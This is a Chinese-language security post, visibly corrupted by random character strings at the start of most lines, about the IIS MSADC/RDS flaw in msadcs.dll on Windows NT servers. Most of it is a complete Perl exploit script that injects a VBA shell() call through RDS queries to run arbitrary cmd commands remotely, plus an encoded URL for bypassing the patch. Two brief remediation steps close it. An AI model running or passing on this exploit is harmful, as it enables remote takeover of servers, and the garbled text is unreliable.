IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
LU?#{dZ sf\;|`} 涉及程序:
!"2OcDFx Microsoft NT server
SKLQAE5 >ID 3oi 描述:
2: pq|eiF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
XF^c(*5 @GnsW;$*~. 详细:
h^hEyrJw
如果你没有时间读详细内容的话,就删除:
<@*mFq0 , c:\Program Files\Common Files\System\Msadc\msadcs.dll
7MGc+M(p 有关的安全问题就没有了。
_nx|ZJ L@a-"(TN+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
CdZ;ZR _rs#h) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^D.B^BR 关于利用ODBC远程漏洞的描述,请参看:
aOYd"S}u JAB]kNvI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm lq.0?( +\:I3nKs% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
oAvJ"JH@i http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;"Ot\:0
zZiB`% 这里不再论述。
Ccc6 ko_ u'32nf? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
40g&zU- sn Ekei|0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Zfb:>J@h6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
k*!J,/=k |LNXu 2>EIDRLJ- #将下面这段保存为txt文件,然后: "perl -x 文件名"
yY"%6k,ZB (nE$};c<b2 #!perl
eM9~&{m. #
o9~qJnB/O # MSADC/RDS 'usage' (aka exploit) script
j|[s?YJl #
+=}%
7o # by rain.forest.puppy
"(C}Dn# #
kb%W3c9HO # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^mz_T+UOe # beta test and find errors!
2j"%}& Me`"@{r|# use Socket; use Getopt::Std;
v5 9> getopts("e:vd:h:XR", \%args);
F~DG:x~ -d[x09 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
lN1zfM NK4ven7/ if (!defined $args{h} && !defined $args{R}) {
T\WNT#My print qq~
}pTj8Tr Usage: msadc.pl -h <host> { -d <delay> -X -v }
{T^'&W>8G8 -h <host> = host you want to scan (ip or domain)
dT|z)-Z` -d <seconds> = delay between calls, default 1 second
l y%**iN -X = dump Index Server path table, if available
w"BTu-I -v = verbose
Tbwq_3fK -e = external dictionary file for step 5
FSBCk NMj`wQ`M+ Or a -R will resume a command session
{?jdPh We4 FR4` ~; exit;}
z)]EB6uRg O%)9tFT $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
<r\)hx0ov if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
)RkU='lB " if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BT#>b@Xub if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
K8+b\k4E $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
cPN7^* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Zk/NO^1b tEEhSG)s% if (!defined $args{R}){ $ret = &has_msadc;
,AD| u_pP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<.' cCY L.Lt9W2fi print "Please type the NT commandline you want to run (cmd /c assumed):\n"
pvM8PlYo]` . "cmd /c ";
K;97/"
$in=<STDIN>; chomp $in;
R utW{wh $command="cmd /c " . $in ;
GHlra^ XnY}dsSO if (defined $args{R}) {&load; exit;}
FvNO*'xP /~^I]D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lxmS.C &try_btcustmr;
$Us@fJr ,G:4H%? print "\nStep 2: Trying to make our own DSN...";
6vjB;uS[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
m@Nx`aS? $ i&$ZdX print "\nStep 3: Trying known DSNs...";
Dsua13 hF &known_dsn;
3D.S[^s* qB39\j print "\nStep 4: Trying known .mdbs...";
6m"
75 &known_mdb;
_l,Z38 w@ 5/mf? if (defined $args{e}){
"^=[*i print "\nStep 5: Trying dictionary of DSN names...";
PVU"oz&T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F^NR qE tZYI{m{ print "Sorry Charley...maybe next time?\n";
OT&E)eR exit;
4@V]zfu^Q } >w ##############################################################################
Z
:9VxZ Q kZM(pG sub sendraw { # ripped and modded from whisker
5An0DV5 sleep($delay); # it's a DoS on the server! At least on mine...
sBb.Y
k my ($pstr)=@_;
\zI&n &T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mo,l`UL die("Socket problems\n");
U&n>fXTHn if(connect(S,pack "SnA4x8",2,80,$target)){
zn
?;>Bl select(S); $|=1;
tvOAN|+F print $pstr; my @in=<S>;
"k<:a2R select(STDOUT); close(S);
8T)zB6ng return @in;
{g- DM}q } else { die("Can't connect...\n"); }}
8-"5|pNc _0*>I1F~ ##############################################################################
[/Z'OV"tU E)JyKm. sub make_header { # make the HTTP request
0Ad~!Y+1 my $msadc=<<EOT
dT)KvqX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1mJ_I|98 User-Agent: ACTIVEDATA
n6-Ic',; Host: $ip
&7w>K6p Content-Length: $clen
"-n%874IT Connection: Keep-Alive
VMIX$# 0['"m^l0S ADCClientVersion:01.06
qysa!B Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
iEviH>b5 zf,%BI[Hr --!ADM!ROX!YOUR!WORLD!
}=hoATs Content-Type: application/x-varg
fHd!/%iG Content-Length: $reqlen
~y2)&x
f4k5R EOT
N4H+_g| ; $msadc=~s/\n/\r\n/g;
qX+gG",8 return $msadc;}
Nr24[e
G>d 2d2@ J{ ##############################################################################
~$4.Mf,u Ok>(>K<r sub make_req { # make the RDS request
T1QsW<*j my ($switch, $p1, $p2)=@_;
k&A7alw my $req=""; my $t1, $t2, $query, $dsn;
<.WM-Z e[QxFg0E if ($switch==1){ # this is the btcustmr.mdb query
%A62xnX $query="Select * from Customers where City=" . make_shell();
.ts0LDk0f $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Dk`4bYK $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'}Wu3X GwQZf| elsif ($switch==2){ # this is general make table query
)@,90Vhh $query="create table AZZ (B int, C varchar(10))";
3kiE3*H $dsn="$p1";}
Q)Iv_N/ hDljY!P>p elsif ($switch==3){ # this is general exploit table query
R6!cK[e]4 $query="select * from AZZ where C=" . make_shell();
$>r>0S#+\& $dsn="$p1";}
:4ja@~ 1BMB?I elsif ($switch==4){ # attempt to hork file info from index server
!ww:O| 0 $query="select path from scope()";
LZr0]g{Pu/ $dsn="Provider=MSIDXS;";}
VW9>xVd4 (Pv`L elsif ($switch==5){ # bad query
" ^HK@$ $query="select";
.?rbny $dsn="$p1";}
Tr8AG> o)%-l4S $t1= make_unicode($query);
[1b6#I"x $t2= make_unicode($dsn);
U{uPt*GUd/ $req = "\x02\x00\x03\x00";
RpO@pd m $req.= "\x08\x00" . pack ("S1", length($t1));
rQ~ \~g[tP $req.= "\x00\x00" . $t1 ;
ietRr!$. $req.= "\x08\x00" . pack ("S1", length($t2));
AH2_#\ $req.= "\x00\x00" . $t2 ;
&8<<!#ob $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`DLp<_z>
return $req;}
*Y85DEA 1,"I= ##############################################################################
~;M)qR?]W rv9B}%e sub make_shell { # this makes the shell() statement
yoBgr7gS return "'|shell(\"$command\")|'";}
vBh; {=UFk-$= ##############################################################################
}p~OCW! No`|m0 :j sub make_unicode { # quick little function to convert to unicode
_u&>&,:q my ($in)=@_; my $out;
t})lr\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@#RuSc return $out;}
eV"!/A2:N5 S4cpQq. ##############################################################################
o:2Q2+d =p<?Hu sub rdo_success { # checks for RDO return success (this is kludge)
_e%dM my (@in) = @_; my $base=content_start(@in);
:e*DTVv8 if($in[$base]=~/multipart\/mixed/){
XC[]E)8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&
_; y.! return 0;}
*7ZGq(O L7'%;?Z ##############################################################################
sI_7U^"[ z{9=1XY sub make_dsn { # this makes a DSN for us
/;?M?o"H my @drives=("c","d","e","f");
5?WYsj"
print "\nMaking DSN: ";
(Uk>?XAr foreach $drive (@drives) {
Cyq?5\ a print "$drive: ";
[4sEVu} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<5S@ORN "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4({(i . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Ck\7F?S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
lbQQtpEKO return 0 if $2 eq "404"; # not found/doesn't exist
ohUdGO[/ if($2 eq "200") {
rQ/,XH foreach $line (@results) {
k1)%.pt% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
E@-ta): } return 0;}
eG5Y+iL-V ~C-,G"zw&G ##############################################################################
aSC9&Nf; B
z^|SkEit sub verify_exists {
~vHk&r]| my ($page)=@_;
glj7$ my @results=sendraw("GET $page HTTP/1.0\n\n");
-(i(02PX return $results[0];}
]mQw,S)/" G O{.9_2 ##############################################################################
>-.e A vD u: &o}[ sub try_btcustmr {
X&M4MuL my @drives=("c","d","e","f");
c~0{s> my @dirs=("winnt","winnt35","winnt351","win","windows");
`0ZZ/]
!L TX}T|ri foreach $dir (@dirs) {
R x7X_A} print "$dir -> "; # fun status so you can see progress
OtJ\T/q, foreach $drive (@drives) {
)[L^Dmd, print "$drive: "; # ditto
?^i1_v7 Bi $reqlen=length( make_req(1,$drive,$dir) ) - 28;
hoM|P8
}rh $reqlenlen=length( "$reqlen" );
=^&%9X $clen= 206 + $reqlenlen + $reqlen;
Ej=3/RBsV %ft &Q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
mj&57D\fq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a,|?5j9,P else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|l0Ea s&a1y~rv ##############################################################################
0*;O?T )@gZ;`n sub odbc_error {
YO+{,$ my (@in)=@_; my $base;
tz^/J=)" my $base = content_start(@in);
N~^yL <O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yNg9X(U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(#D*Pl $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:#5xA?=*
S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]:(W_qEA return $in[$base+4].$in[$base+5].$in[$base+6];}
P>i%7:OMZA print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\Q~8?p+ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
YZc>dE $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2I/xJ+ K+*Q@R D ##############################################################################
A#8q2n270* 1'.7_EQ4T sub verbose {
hR#-u1C my ($in)=@_;
nDS}^Ba return if !$verbose;
S! Rc|6y% print STDOUT "\n$in\n";}
7 c|bc6? j/`94'Y ##############################################################################
Ub1hHA*) #:jb*d? sub save {
fhPkEvJ my ($p1, $p2, $p3, $p4)=@_;
U>Ld~cw open(OUT, ">rds.save") || print "Problem saving parameters...\n";
d^03"t0O] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
W%<LTWOc close OUT;}
YB<*"HxM)} zGKyN@o ##############################################################################
Hy.AyU|L Y3.$G1{#0w sub load {
PZxAH9 S? my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z>sbr<doa open(IN,"<rds.save") || die("Couldn't open rds.save\n");
SIO&rrT. @p=<IN>; close(IN);
[(Xy.L7x $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
,}oM-B $target= inet_aton($ip) || die("inet_aton problems");
n0Y+b[+wj print "Resuming to $ip ...";
:B3[:MpL} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Q!-
0xlx if($p[1]==1) {
oSiMpQu08 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
XO#/Fv! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fjvN$NgVs my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ojYbR<jn9 if (rdo_success(@results)){print "Success!\n";}
Vk<
LJ
S else { print "failed\n"; verbose(odbc_error(@results));}}
=qN2Xg/ elsif ($p[1]==3){
^`un'5Vk if(run_query("$p[3]")){
db'/`JeK
b print "Success!\n";} else { print "failed\n"; }}
5T sU Qc elsif ($p[1]==4){
DZzN>9<)^ if(run_query($drvst . "$p[3]")){
J>fQNW!{ print "Success!\n"; } else { print "failed\n"; }}
"KcA exit;}
;iDPn2?6?x 21k5I #U ##############################################################################
)`^p%k ^u3V
E sub create_table {
wFG3KzEq ~ my ($in)=@_;
zD?oXs $reqlen=length( make_req(2,$in,"") ) - 28;
8r3A~ $reqlenlen=length( "$reqlen" );
/cc\fw1+ $clen= 206 + $reqlenlen + $reqlen;
G)?9.t_Lj- my @results=sendraw(make_header() . make_req(2,$in,""));
xsWur(> ] return 1 if rdo_success(@results);
X,9 M"E
2 my $temp= odbc_error(@results); verbose($temp);
hiNEJ_f return 1 if $temp=~/Table 'AZZ' already exists/;
f~ }H return 0;}
UH3sH
t ~]ZpA-*@Ut ##############################################################################
[@yV!#2 d)~Fmi; sub known_dsn {
7GDHz.IX # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
cwGbSW$t my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
J\e+}{ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
qzb<J=FAU "banner", "banners", "ads", "ADCDemo", "ADCTest");
&89oO@5 /x3/Ubmz~x foreach $dSn (@dsns) {
`xrmT t
X print ".";
Ef<b~E@ next if (!is_access("DSN=$dSn"));
DxJX+.9K9 if(create_table("DSN=$dSn")){
uZ;D!2Q a print "$dSn successful\n";
zt^48~ry if(run_query("DSN=$dSn")){
IIq1\khh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^ns@O+Fk print "Something's borked. Use verbose next time\n";}}} print "\n";}
*Q1~S]g b(9FZ]7S ##############################################################################
{3&|tk!* CKA;.sh sub is_access {
y\&>ZyOY my ($in)=@_;
ek&kv #G $reqlen=length( make_req(5,$in,"") ) - 28;
28
3H $reqlenlen=length( "$reqlen" );
$0arz{Oh $clen= 206 + $reqlenlen + $reqlen;
dDnf^7q/ my @results=sendraw(make_header() . make_req(5,$in,""));
NH3cq my $temp= odbc_error(@results);
_'#x^D
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Q,80 Hor#J return 0;}
E= `6-H{ JgHM?AWg| ##############################################################################
Iy }:F8F>g ['ksP-= sub run_query {
.; )l my ($in)=@_;
Znetzm=0 $reqlen=length( make_req(3,$in,"") ) - 28;
8XsguC $reqlenlen=length( "$reqlen" );
Ko^c|}mh*! $clen= 206 + $reqlenlen + $reqlen;
hHDOWHWE my @results=sendraw(make_header() . make_req(3,$in,""));
&.Zb,r$Y return 1 if rdo_success(@results);
3QpYmX<E my $temp= odbc_error(@results); verbose($temp);
/<rt1&0 return 0;}
o-o'z'9 A4ISNM7R[ ##############################################################################
Kt(-@\)! bMU(?hb sub known_mdb {
WKSPBT; my @drives=("c","d","e","f","g");
VM0j`bs'K* my @dirs=("winnt","winnt35","winnt351","win","windows");
.$#rV?7 my $dir, $drive, $mdb;
=w$}m_AM my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D$JHs4 B4]`-mahO # this is sparse, because I don't know of many
kCXdGhb my @sysmdbs=( "\\catroot\\icatalog.mdb",
sCu+Lg~f "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
WQHd[2Z#e "\\system32\\certmdb.mdb",
z.}[m,oTF "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
pT$f8xJ (#;`"Yu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
YTw#JOO "\\cfusion\\cfapps\\forums\\forums_.mdb",
Ve
4u +0 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
WAn'kA "\\cfusion\\cfapps\\security\\realm_.mdb",
1 1cWy+8D "\\cfusion\\cfapps\\security\\data\\realm.mdb",
B7z -7&TE "\\cfusion\\database\\cfexamples.mdb",
CSCN['x "\\cfusion\\database\\cfsnippets.mdb",
}ZqW@- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
F0690v0mB[ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0VK-g}"x "\\cfusion\\brighttiger\\database\\cleam.mdb",
5K?}}Frrt` "\\cfusion\\database\\smpolicy.mdb",
_$>pw< "\\cfusion\\database\cypress.mdb",
6_4D9 W "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
r `eU~7 "\\website\\cgi-win\\dbsample.mdb",
l|hUw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
F!.E5<&7= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*x)8fAr ); #these are just
Lq>&d,F06) foreach $drive (@drives) {
[7YPl9 foreach $dir (@dirs){
S'HnBn / foreach $mdb (@sysmdbs) {
OnWx#84 print ".";
b<]n%Q'n if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Rml2"9"` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Oq3A#6~ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
.Udj@{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Sc7U|s } else { print "Something's borked. Use verbose next time\n"; }}}}}
o:6@Kw^ vp(;W,ba:| foreach $drive (@drives) {
|]Qg7m,O foreach $mdb (@mdbs) {
-)~SM& print ".";
3 R&lqxhg if(create_table($drv . $drive . $dir . $mdb)){
;us%/kOR print "\n" . $drive . $dir . $mdb . " successful\n";
&x >B if(run_query($drv . $drive . $dir . $mdb)){
".dZn6"mI print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
4Bl{WyMJ | } else { print "Something's borked. Use verbose next time\n"; }}}}
B:Z_9,gj-N }
[p=*u,- 2<hpK!R ##############################################################################
`EtS!zD~b zB?
V_aT sub hork_idx {
uf&N[M print "\nAttempting to dump Index Server tables...\n";
LOTP*Syjf print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*9p |HX= $reqlen=length( make_req(4,"","") ) - 28;
TT9z_Q5~ $reqlenlen=length( "$reqlen" );
XO <y+ $clen= 206 + $reqlenlen + $reqlen;
w}{5# my @results=sendraw2(make_header() . make_req(4,"",""));
S\CRG> if (rdo_success(@results)){
pMs
AyCAk my $max=@results; my $c; my %d;
"@9?QI} for($c=19; $c<$max; $c++){
Jxqh)l $results[$c]=~s/\x00//g;
0<TD/1wN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
F:#J:x' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*GUAO){' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Jl "mL $d{"$1$2"}="";}
oy<WUb9W foreach $c (keys %d){ print "$c\n"; }
E\u#t$ } else {print "Index server doesn't seem to be installed.\n"; }}
:pRpvhm 4:9KR[y/ ##############################################################################
2Dd|~{% uGs;}<<8 sub dsn_dict {
Z@gnsPN^r open(IN, "<$args{e}") || die("Can't open external dictionary\n");
AfC>Q!-w while(<IN>){
VB<Jf'NU $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
L^^4=ao0 next if (!is_access("DSN=$dSn"));
gDIBnH if(create_table("DSN=$dSn")){
0[<~?`:) print "$dSn successful\n";
S^Au#1e
if(run_query("DSN=$dSn")){
B??J@+Nf print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`Bn=?9 print "Something's borked. Use verbose next time\n";}}}
R4Rb73o print "\n"; close(IN);}
MuBx#M/ {7MjP+\ ##############################################################################
W9oAjO NE saD-D2oj sub sendraw2 { # ripped and modded from whisker
#Dfo#]k( sleep($delay); # it's a DoS on the server! At least on mine...
?GBkqQ my ($pstr)=@_;
gh6d&ucQ^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U.T|
die("Socket problems\n");
[\R>Xcu> if(connect(S,pack "SnA4x8",2,80,$target)){
@d"wAZzD? print "Connected. Getting data";
0J~Qq]g open(OUT,">raw.out"); my @in;
o/o:2p. select(S); $|=1; print $pstr;
^zEE6i while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(c v!Y=] close(OUT); select(STDOUT); close(S); return @in;
0iEa[G3 } else { die("Can't connect...\n"); }}
hnWo|! ,O$ M2@^bB\J ##############################################################################
]IJv-( 6#A:}B<? sub content_start { # this will take in the server headers
wcDjg&:=ml my (@in)=@_; my $c;
kcB+ _ for ($c=1;$c<500;$c++) {
djT5X if($in[$c] =~/^\x0d\x0a/){
fRTo.u if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
GD-&_6a else { return $c+1; }}}
dRvin[R8 return -1;} # it should never get here actually
_x1EZ&dh #~qAHJ< ##############################################################################
H^1gy=kdj y|_Eu: sub funky {
q;AT>" = ) my (@in)=@_; my $error=odbc_error(@in);
TJ6#P<M if($error=~/ADO could not find the specified provider/){
Y|0ow_oH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
> 8]j
exit;}
(foBp if($error=~/A Handler is required/){
TOI4?D] print "\nServer has custom handler filters (they most likely are patched)\n";
lu UYo exit;}
:6;e\UE if($error=~/specified Handler has denied Access/){
?a/n<V ' print "\nServer has custom handler filters (they most likely are patched)\n";
#p
yim_ exit;}}
K'6[J"dB ,ZI\dtl ##############################################################################
IPA*-I57 k5+]SG`]] sub has_msadc {
;_<)JqUh my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
JhR W[~ my $base=content_start(@results);
rVAL|0;3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
nv5u%B^ return 0;}
-+U/Lrt>8 G@d`F ########################
.gZZCf&? N
b3$4(F & 7QH^ 解决方案:
8V4V3^_xs 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/c+)C" 2、移除web 目录: /msadc